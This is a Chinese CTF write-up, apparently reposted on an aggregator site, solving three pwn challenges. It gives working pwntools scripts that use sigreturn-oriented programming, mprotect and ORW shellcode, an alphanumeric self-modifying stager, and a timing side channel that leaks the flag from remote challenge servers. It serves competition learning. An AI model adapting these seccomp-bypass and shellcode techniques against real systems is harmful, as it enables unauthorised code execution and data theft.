周末两个比赛3个小题

news2024/9/23 1:32:48

周末安洵和nctf,因为不是学生也没报名拿附件作了一把。

安洵/pwn/side_channel , initiate

安洵的题很好,唯一的问题是把几乎所有的,有没有必要的都放了远程,而且服务器很差,好多题不是不会而是连不上。

这个题估计也给服务器造成了一定负担。题目通过seccomp作了限制,允许mprotect,open,read,sigreturn

 

这里是限制也是提示,显然是要用sigreturn填充寄存器,用mprotect将块作成可执行然后open+read由于没有write只能造循环判断是否正确。官方还挺良心,用的UUID并且去掉了壳,早说呀,爆起来就方便了。

from pwn import *

context(arch='amd64', log_level='error')

#rigreturn 
#int mprotect(const void *start, size_t len, int prot);
#0x404000 0x1000 7
syscall = 0x40118a #syscall;pop rbp; ret
mov_rax_f = 0x401193
leave_ret = 0x4014d4

#mprotect(0x404000,0x1000,7)
frame = SigreturnFrame()
frame.rax = 10 
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = 0x404168
frame.rip = syscall


def read_v(i,v):
    #p = process('./chall')
    p = remote('47.108.206.43',26111)
    #gdb.attach(p, "b*0x401193\nc")

    shellcode = "mov al, byte ptr ["+hex(0x404800+i)+"];mov cl, "+hex(v)+"; label:   cmp al,cl; jz label; mov rax,231; syscall"
    #print(shellcode)
    pay = flat(mov_rax_f, syscall, frame , 0, 0x404178) 
    pay += asm(shellcraft.open('flag') + shellcraft.read('rax', 0x404800,0x50))
    pay += asm(shellcode)    
    p.sendafter(b"easyhack\n", pay)
    p.sendafter(b"?\n", b'A'*0x2a+ flat(0x404058, leave_ret))
    try:
        p.recv(timeout=0.5)
        p.close()
        #p.interactive()
        return True
    except:
        p.close()
        return False

dic = b'0123456789abcdef-' #b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{_}'
flag = ''
for i in range(len(flag), 50, 1):
    for j in dic:
        print(chr(j), end='')
        if read_v(i, j):
            flag += chr(j)
            print('=>',flag)
            break
    else:
        print('no found')
        break

pause()
#411b024e-a16c-11ee-88e5-00163e0447d0

安洵/pwn/Seccomp

怎么会同样的题放两道,而且后边这题更简单。ORW全了,并且有sigreturn,sigreturn直接用3次就行了

from pwn import *

context(arch='amd64', log_level='debug')

#sigreturn 
syscall = 0x40118a #syscall;pop rbp; ret
mov_rax_f = 0x401193
leave_ret = 0x4014d4

#open(0x404060)
frame1 = SigreturnFrame()
frame1.rax = 2
frame1.rdi = 0x404060
frame1.rsi = 0
frame1.rdx = 0
frame1.rsp = 0x404060 + 0x110
frame1.rip = syscall

#read(3,0x404800,0x50)
frame2 = SigreturnFrame()
frame2.rax = 0
frame2.rdi = 3
frame2.rsi = 0x404800
frame2.rdx = 0x50
frame2.rsp = 0x404060+ 0x110*2
frame2.rip = syscall

#write(1, 0x404800, 0x50)
frame3 = SigreturnFrame()
frame3.rax = 1
frame3.rdi = 1
frame3.rsi = 0x404800
frame3.rdx = 0x50
frame3.rsp = 0x404060 + 0x110*3
frame3.rip = syscall

#p = process('./chall')
p = remote('47.108.206.43', 33287)
#gdb.attach(p, "b*0x401193\nc")

pay = b'/flag'.ljust(8,b'\x00')+flat(mov_rax_f, syscall, frame1 , 0, mov_rax_f, syscall, frame2, 0, mov_rax_f, syscall, frame3) 


p.sendafter(b"easyhack\n", pay)
p.sendafter(b"?\n", b'A'*0x2a+ flat(0x404060, leave_ret))

p.interactive()

 安洵已经出了官方WP,可以去网站上看

nctf/checkin

不约而同又一个写shellcode的题,这题一晚上才作成。对输入进行了过滤,允许的比base64少处+号。

另外,prctl限制只允许read(0,x,1)

所以这题思路很简单,但操作起来麻烦,限制的数字和字母,组成shellcode真的很难。

首先要造一个read这样可以绕过过滤限制。

只有字母的话能pop填充只有rax,rcx,rdx,r8,r9,r10,而xor又不会改变高位需要用read在栈里的返回值造个高位为1的数,我这里选用了个0x88

但read只允许1字节这就要造个循环。一开始用loop,发现rcx会被read的返回覆盖。后来找到xor rsi,[r9]

而必需的s:syscall;inc rsi;cmp [r8],sil;jnz s;这里边的几个无法输入需要用xor生成。

1,先通过栈里的内容将r8->0x88 r9->20230000, rax=20230000

2,先修改rax作为指针再通过xor [rax],dh修改指向的值造后边无法写入的部分

3,最后写入shellcode ,open+n*read(0,x,1)+cmp + jmp进行爆破

from pwn import *

context(arch='amd64', log_level='error')

#只允许read(0,buf,1)
#shellcode仅允许 大小写字母数字 /

#利用rsp造指针,修改尾部生成syscall; inc rsi;  cmp [r8],sil; jnz s; 循环读0x100字节shellcode

#close(0)
#open('/flag',0)
#循环 read(0,0x2023100,1)
#l2: cmp [rsi],{v}; jz l2;
#stack [x,0,0x88,0x20230000] -> rsp [0x20230000, 0x88]
sc  = 'pop rdx;pop rdx;pop rcx;pop rax;'
sc += 'push rcx;push rsp;pop r8;push rax;push rsp;pop r9;' # r8->0x88 rax=0x20230000 r9->20230000
sc += 'xor esi,[r8];'  

pos = 0x6e #len(asm(sc))+0x30
sc += f'push 0x41414141;pop rdx;push rax; xor al,0x{pos:x};xor [rax],dh;' #4e44^4141 = 0f05
sc += f'pop rax;push rax; xor al,0x{pos+1:x};xor [rax],dh;'
sc += f'pop rax;push rax; xor al,0x{pos+3:x};xor [rax],esi;' #77 4e 6a 71 ^88 = ff c6 eb f6  inc rsi;loop s
sc += f'pop rax;push rax; xor al,0x{pos+4:x};xor [rax],esi;'
sc += f'pop rax;          xor al,0x{pos+9:x};xor [rax],esi;'
sc += 'xor rsi,[r9];'
sc += 'push 0x43;pop rax;xor al,0x42;push rax;pop rdx;' #rcx=0x7a; read(0, rsi, 1)
sc += 'push r10;pop rax;'
#'s:push r10;pop rax; syscall; inc rsi; cmp [r8],sil; jnz s;'  b'\x0f\x05H\xff\xc6A80u\xf3'


def getv(length, value):
    #p = process('./checkin-release')
    p = remote('8.130.35.16', 58002)
    #gdb.attach(p, "b*0x0000555555555764\nc")
    pay = (asm(sc)+b'\x4e\x44H\x77\x4eA80u\x79').ljust(0x88,b'P')
    p.sendafter(b"Give me your shellcode: ", pay)
    sleep(0.5)
    pay  = shellcraft.close(0)+shellcraft.open('/flag')
    pay += f'mov rcx,0x{length:x}; xor rdi,rdi; push 0x20230000; pop rsi; mov rdx,1; s1: xor rax,rax; syscall; inc r15; cmp r15,0x{length+1}; jnz s1;'
    pay += f's2: cmp byte ptr[rsi],0x{value:x}; jz s2;'
    pay += shellcraft.exit(0)
    p.send(asm(pay).ljust(0x100, b'\x90'))
    try:
        p.recv(timeout=0.3)
        p.close()
        return True
    except:
        p.close()
        return False
        

flag = '' #'nctf{checst-flag-ce}'
for i in range(len(flag), 50):
    for j in b'abcdefghijklmnopqrstuvwxyz{}_-!': #range(0x20,0x7f):
        print(chr(j), end='')
        v = getv(i,j)
        if v:
            flag += chr(j)
            print(':',flag)
            break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1335629.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vivado 多周期路径与时钟相移

多周期路径与时钟相移 有时,必须在具有相同时钟域的两个时钟域之间定义定时约束时钟周期,但两个时钟之间的相移。在这些情况下,理解正时引擎使用的默认设置和保持关系。如果没有仔细调整两个时钟之间的相移可能导致两个时钟间的逻辑约束过大…

13.TCP/IP协议

1.TCP/IP协议是什么 TCP/IP协议不仅仅指的是TCP和IP两个协议,二十指由FTP、SMTP、TCP、UDP、IP等等协议构成的协议簇。 TCP/IP协议是一系列规则的统称,他们定义了消息在网络间进行传输的规则。是供已连接互联网的设备进行通信的通信规则 2.TCP/IP协议的…

走进数字金融峰会,为金融科技数字化赋能

12月20—21日,FSIDigital数字金融峰会在上海圆满召开。本次峰会包含InsurDigital数字保险峰会和B&SDigital数字银行与证券峰会2场平行峰会;吸引了近600位来自保险、银行、证券以及金融科技等行业的领导者和专家齐聚一堂,共同探讨金融业数…

宝塔面板Linux服务器CentOS 7数据库mysql5.6升级至5.7版本教程

近段时间很多会员问系统更新较慢,也打算上几个好的系统,但几个系统系统只支持MYSQL5.7版本,服务器一直使用较低的MYSQL5.6版本,为了测试几个最新的系统打算让5.6和5.7并存使用,参考了多个文档感觉这种并存问题会很多。…

STM32 支持IAP的bootloader开发,使用串口通过Ymodem协议传输固件

资料下载: https://download.csdn.net/download/vvoennvv/88658447 一、概述 关于IAP的原理和Ymodem协议,本文不做任何论述,本文只论述bootloader如何使用串口通过Ymodem协议接收升级程序并进行IAP升级,以及bootloader和主程序两个工程的配置…

UGUI Panel的显示和隐藏优化

unity UI如何开启(显示)或者关闭(隐藏)Panel界面,相信大家都是知道的,但是如何做最好呢? 可能大家一般开启/关闭界面的方法就是直接SetActive吧。这样做通常是可以的,简答快速地解决…

多播ip地址配置和通信理解

经常有朋友问,为什么相同局域网的ip需要相同网段,为什么组播的网段可以不同? 比如: 在您的局域网(192.168.1.0/24 网段)中设置多播组时,您可以选择一个在本地网络范围内尚未使用的多播组地址。…

【Java中序列化的原理是什么(解析)】

🍁序列化的原理是什么? 🍁典型-----解析🍁拓展知识仓🍁Serializable 和 Externalizable 接门有何不同? 🍁如果序列化后的文件或者原始类被篡改,还能被反序列化吗?🍁serialVersionU…

电路设计(7)——窗口比较器的multism仿真

1.功能设计 构建一个窗口比较器的电路,在输入电压大于3.5v,小于0.8v时,蜂鸣器报警,输入电压在0.8v到3.5v之间时,不报警。 整体电路如下: 2.设计思路 在输入端,采取电阻分压的方式,输…

2024年最新Python爬虫入门『最强教程』新鲜出炉!

近年来,大数据成为业界与学术界最火热的话题之一,数据已经成为每个公司极为重要的资产。互联网大量的公开数据为个人和公司提供了以往想象不到的可以获取的数据量。而掌握网络爬虫技术可以帮助你获取这些有用的公开数据集。 爬虫能干什么呢?一…

11-GraalVM元原生时代的Java虚拟机

文章目录 GraalVM诞生的背景Java在微服务/云原生时代的困境事实矛盾 问题根源Java离不开虚拟机 解决方案革命派保守派 GraalVM入门GraalVM特征GraalVM下载和安装GraalVM下载win10安装及配置linux安装及配置 GraalVM初体验(Linux)多语言开发(了解即可、官网有Demo)GraalCompiler…

无人叉车驻车定位RFID传感器CNS-RFID-01|1S的CAN总线通信连接方法

无人叉车驻车定位RFID传感器CNS-RFID-01|1S支持CAN总线通信方式,广泛应用于智能仓库,AGV |RGV小车,无人叉车,搬运机器人定位,驻车等领域,本篇幅主要介绍器CNS-RFID-01|1S RFID传感器的CAN总线通信连接方法。…

“双十一、二” 业务高峰如何扛住?韵达快递选择 TDengine

小 T 导读: 为了有效处理每日亿级的数据量,早在 2021 年,韵达就选择用 TDengine 替代了 MySQL,并在三台服务器上成功部署和上线了 TDengine 2.0 集群。如今,随着 TDengine 3.0 版本的逐渐成熟,韵达决定将现…

NAT协议的实现方式

在网络通信中,NAT协议(Network Address Translation,网络地址转换)扮演着关键角色,允许内部网络与外部网络之间进行有效的通信。 实现内外网之间网络地址转换的过程中,NAT采用了不同的实现方式,…

案例分析:三一重工集团数字化转型

三一重工集团,作为制造业中的数字化转型佼佼者,荣获“全球灯塔工厂”的殊荣,率先采用了物联网、云计算、大数据等尖端技术手段。数字化转型让三一重工步入了全面信息化的管理时代,通过ERP、CRM、HRM等系统的协同运作,实…

高度可定制的JS电子表格组件DHTMLX Spreadsheet v5.1——拥有全新内置主题

DHTMLX Spreadsheet是用纯JavaScript编写的开源电子表格小部件,可让您快速在网页上添加类似于Excel的可编辑数据表。高度可定制的JavaScript电子表格组件,具有优雅的Material样式,可安全、方便地编辑和格式化数据。 近日DHTMLX Spreadsheet …

HashMap扩展问题:HashMap如何实现线程安全?

HashMap如何实现线程安全&#xff1f; 方法一&#xff1a;java.util.Collections.synchronizedMap(Map<K,V> m) 底层实际上是将hashMap又封装了一层&#xff0c;变成SynchronizedMap<K,V>&#xff0c;并在每一个对HashMap的操作方法上添加了synchronized修饰。代…

基于 Webpack 插件体系的 Mock 服务

背景 在软件研发流程中&#xff0c;对于前后端分离的架构体系而言&#xff0c;为了能够更快速、高效的实现功能的开发&#xff0c;研发团队通常来说会在产品原型阶段对前后端联调的数据接口进行结构设计及约定&#xff0c;进而可以分别同步进行对应功能的实现&#xff0c;提升研…

WooCommerce Cost of Goods电商商城商品成本插件 轻松跟踪利润

WooCommerce Cost of Goods电商商城商品成本插件 轻松跟踪利润 WooCommerce Cost of Goods电商商城商品成本插件通过将货物成本纳入订单和报告中&#xff0c;轻松跟踪利润。 WooCommerce Cost of Goods电商商城商品成本插件功能 WooCommerce Cost of Goods电商商城商品成本插…

设计模式--工厂方法模式

实验3&#xff1a;工厂方法模式 本次实验属于模仿型实验&#xff0c;通过本次实验学生将掌握以下内容&#xff1a; 1、理解工厂方法模式的动机&#xff0c;掌握该模式的结构&#xff1b; 2、能够利用工厂方法模式解决实际问题。 [实验任务]&#xff1a;加密算法 目前常用…